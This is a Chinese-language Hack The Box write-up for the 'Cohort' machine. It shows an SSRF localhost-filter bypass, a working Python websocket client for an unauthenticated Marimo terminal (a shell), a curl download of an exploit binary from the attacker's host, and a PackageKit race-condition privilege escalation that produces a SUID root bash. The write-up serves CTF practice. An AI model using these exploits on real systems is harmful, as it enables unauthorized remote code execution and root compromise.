【渗透测试】HTB Season 11 Cohort 全过程WP
Cohort HTB wp
- 目标:
10.129.244.174 - 靶机:Hack The Box Cohort
- 类型:Web + Linux Privilege Escalation
信息收集

HTTPS 证书和跳转信息暴露了主域名:
cohort.htb
因此先在攻击机配置解析:
10.129.17.127 cohort.htb
Web入口与SSRF
访问 https://cohort.htb 后发现数据门户。前端页面 portal.html 存在一个“验证/获取数据源”的功能,客户端会向后端接口提交 URL。

去抓包发现可以发起URL请求

但是127.0.0.1被ban了
尝试绕过
http://127.1/
http://2130706433/
http://0x7f000001/

通过 SSRF 发现内部服务
对本机常见端口进行探测,重点关注 HTTP 返回内容而不是单纯判断端口是否开放:
http://127.1:5000/
http://127.1:5000/status
http://127.1:8888/
http://127.1:8888/status
探测结果表明:
5000存在内部 Flask/API 服务8888存在 Marimo Web 应用8888只绑定在本机,外部无法直接访问
继续访问 nginx 的状态页面:
http://127.1:80/status
{"ok": true, "fetched_status": 200, "content_type": "application/json", "preview": "{\"service\":\"cohort-edge\",\"status\":\"ok\",\"generated_by\":\"nginx\",\"upstreams\":[{\"name\":\"marketing\",\"host\":\"cohort.htb\",\"root\":\"/var/www/cohort\"},{\"name\":\"insights-api\",\"host\":\"cohort.htb\",\"path\":\"/api/\",\"target\":\"127.0.0.1:5000\"},{\"name\":\"notebooks\",\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\",\"note\":\"internal analyst workspace, not for external use\"}]}", "message": "Source reachable."}
响应中出现内部虚拟主机信息:
nb-1be3782a8afd3ad5.cohort.htb
该 vhost 对应后端地址:
127.0.0.1:8888
这一步很关键。直接访问 IP 的 8888 端口并不能得到正确的 Marimo 页面,因为 nginx 根据 Host 头进行虚拟主机路由。后续连接必须使用这个 vhost。
识别 Marimo 与获得 Web Shell
通过 SSRF 获取内部页面和静态资源后,确认内部服务是 Marimo,版本为:
Marimo 0.20.4
随后检查 /terminal/ws WebSocket 端点。该端点未执行正常的认证校验,可以建立终端连接。
import ssl
import threading
import websocket
host = "nb-1be3782a8afd3ad5.cohort.htb"
ws_url = "wss://10.129.244.174/terminal/ws"
# 全局websocket对象
ws = None
def recv_loop():
"""持续接收服务端消息并打印"""
global ws
while True:
try:
data = ws.recv()
print(data, end="")
except Exception:
print("\n[!] 连接断开")
break
def main():
global ws
ws = websocket.create_connection(
ws_url,
host=host,
origin="https://" + host,
sslopt={"cert_reqs": ssl.CERT_NONE},
timeout=5,
)
print("[+] Websocket 连接成功,输入exit退出")
# 启动接收后台线程
threading.Thread(target=recv_loop, daemon=True).start()
# 主线程交互式输入
while True:
cmd = input("")
if cmd.lower() == "exit":
break
# 注意:大部分终端ws需要换行结尾,根据目标调整 \r 或 \n 或 \r\n
ws.send(cmd + "\r")
ws.close()
if __name__ == "__main__":
main()
Marimo 0.20.4 小于修复版本 0.23.0,对应未授权 WebSocket 终端执行漏洞 CVE-2026-39987。
这里的判断过程是:
- 确认具体组件是 Marimo,而不是仅凭页面外观猜测。
- 获取实际版本号
0.20.4。 - 验证
/terminal/ws可以在未登录状态建立连接。 - 发送
id并获得真实命令输出,证明不是普通信息泄露,而是可利用的 RCE。
提权
SUID检查
find / -perm -4000 -type f -ls 2>/dev/null
没有发现明显的自定义 SUID 程序,只有系统常见程序,例如 sudo、mount、passwd、bash 等。
sudo权限
sudo -l
但是需要密码
系统与PackageKit版本
cat /etc/os-release
dpkg-query -W -f='${Version}\n' packagekit
command -v dbus-send
command -v dpkg-deb


PackageKit 版本较旧,同时系统存在 D-Bus、dpkg-deb 等组件,符合 PackageKit 本地提权漏洞的利用条件。
CVE-2026-41651:Pack2TheRoot
漏洞核心是 PackageKit 事务处理中的 TOCTOU 竞态:
- 创建一个 PackageKit transaction。
- 对同一个 transaction 发送一次
InstallFiles,设置SIMULATE标志。 - 在服务端完成状态处理前,再发送第二次
InstallFiles,改成真实安装并替换安装包路径。 - 服务端后续执行阶段读取被覆盖后的路径和参数。
- 恶意
.deb的postinst脚本以 root 权限执行。
这里使用shibaaa204_Pack2TheRoot\Pack2TheRoot-main的bin文件
先上传
python -m http.server 8000 --bind 10.10.16.186
curl -O http://10.10.16.186:8000/exploit.bin
然后运行
# 1. 删除旧文件,清理残留
rm -f /tmp/.suid_bash /tmp/pk.log
# 2. 后台运行提权exp,日志输出到/tmp/pk.log
nohup /tmp/exploit.bin >/tmp/pk.log 2>&1 &
# 3. 等待12秒,给漏洞利用足够执行时间
sleep 12
# 4. 检查是否成功生成SUID权限的bash
ls -l /tmp/.suid_bash
# 5. 打印exp运行日志,查看报错/执行结果
cat /tmp/pk.log

读取root.txt
SUID bash 需要使用 -p 保留有效 UID:
/tmp/.suid_bash -p -c 'id; cat /root/root.txt'

完整攻击链
10.129.17.127
|
+-- 80/443 nginx
|
+-- cohort.htb / portal.html
|
+-- /api/validate SSRF
|
+-- 127.1 绕过本地地址过滤
|
+-- 127.0.0.1:80/status
|
+-- 发现 vhost
nb-1be3782a8afd3ad5.cohort.htb
|
+-- 127.0.0.1:8888
|
+-- Marimo 0.20.4
|
+-- 未授权 /terminal/ws
|
+-- marimo shell
|
+-- PackageKit 1.2.8
|
+-- CVE-2026-41651
|
+-- root

浙公网安备 33010602011771号